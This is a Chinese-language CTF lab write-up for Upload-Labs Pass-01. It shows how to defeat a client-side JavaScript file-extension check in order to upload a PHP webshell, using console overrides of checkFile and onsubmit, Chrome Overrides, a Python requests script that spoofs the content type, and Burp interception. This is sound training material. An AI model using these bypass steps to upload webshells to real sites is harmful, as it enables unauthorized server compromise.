前言
学习,重温一下CTF知识和手感,回顾一下前端绕过手法。
关于题目环境
来自BUUCTF网站的Upload-Labs-Linux题目,其实就是Upload-Labs。
要求上传一个PHP WebShell,主要限制来自于一段JavaScript代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } var allow_ext = ".jpg|.png|.gif"; var ext_name = file.substring(file.lastIndexOf(".")); if (allow_ext.indexOf(ext_name) == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }
|
直接修改网页源代码
由于前端限制由JavaScript代码完成,而且浏览器由我们直接控制,前端代码存在被我们修改的可能性,所以修改网页源代码后直接通过网页上传文件的方式最为快捷。
JavaScript
最简单的方法是直接在Chrome浏览器的Console上操作,将checkFile替换为一个新的永远返回True的匿名函数:
1 2 3
| checkFile = function(){ return true; }
|
此外,也可以用修改onsubmit事件的方式来完成:
1 2 3
| document.getElementsByName("submit")[0].parentNode.parentNode.onsubmit = function(){ return true; }
|
Overrides
此外,Chrome也提供了Overrides机制,可以用本地文件覆盖前端文件实现前端源代码的替换,选定本地的源代码文件夹后,修改允许上传的文件后缀并保存,chrome就会在本地保存修改后的源代码文件。
刷新后就可以直接上传PHP文件。
Python脚本上传文件
通过requests库进行文件上传:
1 2 3 4 5 6 7 8 9 10 11 12 13
| import requests
url = "http://9cffd483-577f-4ea4-983b-4512fc1e0f53.node4.buuoj.cn:81/Pass-01/index.php" f = open("pwn.php", "rb") files = { "upload_file": ("pwn.php", f, "image/jpeg"), "submit": (None, "abc") } response = requests.post(url, files=files) print response.status_code print response.request.body print response.request.headers
|
试了n种方法都传不上去,最后发现加上submit参数就行了,Orz。
BurpSuite代理Chrome
最后也是最常用的办法就是通过Burp抓包重发了,配置系统代理然后抓包修改就好。
参考
如何使用Chrome直接编辑前端代码